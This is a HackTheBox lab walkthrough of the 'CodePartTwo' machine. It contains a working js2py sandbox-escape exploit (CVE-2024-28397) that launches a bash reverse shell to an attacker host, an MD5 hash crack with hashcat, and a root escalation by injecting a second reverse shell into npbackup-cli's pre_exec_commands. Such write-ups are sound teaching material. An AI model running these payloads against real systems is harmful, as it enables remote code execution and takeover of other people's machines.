Skip to content
HackIndex logo

HackIndex

CodePartTwo Writeup - HackTheBox

Easy Linux

Last updated May 10, 2026 3 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo

Two ports. SSH and a Python web app on 8000. Browse to http://$TARGET_IP:8000 — it's a JavaScript code editor with register/login functionality. The landing page advertises the app as open-source and offers a direct download link.

Source Code Review

The /download route serves app.zip without authentication:

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:8000/download -o app.zip
┌──(kali㉿kali)-[~]
└─$ unzip app.zip

requirements.txt immediately stands out:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

js2py==0.74 is vulnerable to CVE-2024-28397, a sandbox escape allowing arbitrary Python code execution. The relevant route in app.py:

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

User-supplied JavaScript is passed directly to js2py.eval_js(). Execution is confirmed with a quick test:

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP:8000/run_code \
--data='{"code": "1+1"}' \
-H 'Content-Type: application/json'
{"result": 2}

The endpoint is reachable without authentication. The attack surface is clear.

Initial Access

CVE-2024-28397 — js2py Sandbox Escape RCE

CVE-2024-28397 abuses js2py's JavaScript-to-Python bridge. By walking Python's class hierarchy from within JavaScript, it's possible to reach subprocess.Popen and execute arbitrary OS commands despite js2py.disable_pyimport() being set.

The exploit payload traverses __class__.__base__.__subclasses__() until it finds subprocess.Popen, then calls it directly with a reverse shell command.

Save the following as exploit.js:

let cmd = "bash -c '/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for (let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if (item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Send the payload:

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP:8000/run_code \
-H 'Content-Type: application/json' \
--data "{\"code\": \"$(cat exploit.js)\"}"

Shell lands as the app service user. Stabilise it:

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Lateral Movement

SQLite Credential Extraction

The app uses SQLite at instance/users.db relative to the application root. The database contains a user table with MD5-hashed passwords. Inspecting it reveals one account:

username

password_hash

marco

$MARCO_HASH

MD5 is unsalted. Crack it with hashcat:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
$MARCO_HASH:$MARCO_PASSWORD

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Time.Started.....: Fri Jan  9 07:05:12 2026 (0 secs)

SSH as marco

┌──(kali㉿kali)-[~]
└─$ ssh marco@$TARGET_IP

Password is $MARCO_PASSWORD. It works — the hash cracked to a plaintext password that marco reused on his system account.

Privilege Escalation

npbackup-cli pre_exec_commands Injection

Check sudo rights:

┌──(kali㉿kali)-[~]
└─$ sudo -l
User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Marco can run npbackup-cli as root without a password. A backup config file npbackup.conf is present in the home directory. npbackup-cli supports a pre_exec_commands directive that runs shell commands before the backup job starts — as whatever user invokes it.

Copy the config and inject a reverse shell into pre_exec_commands:

┌──(kali㉿kali)-[~]
└─$ cp npbackup.conf malicious.conf

Edit malicious.conf — find pre_exec_commands under the default_group section and change it to:

pre_exec_commands:
- /bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Trigger the backup with the malicious config:

┌──(kali㉿kali)-[~]
└─$ sudo /usr/local/bin/npbackup-cli -c malicious.conf -b -f
root@codeparttwo:/home/marco#

Root shell.

References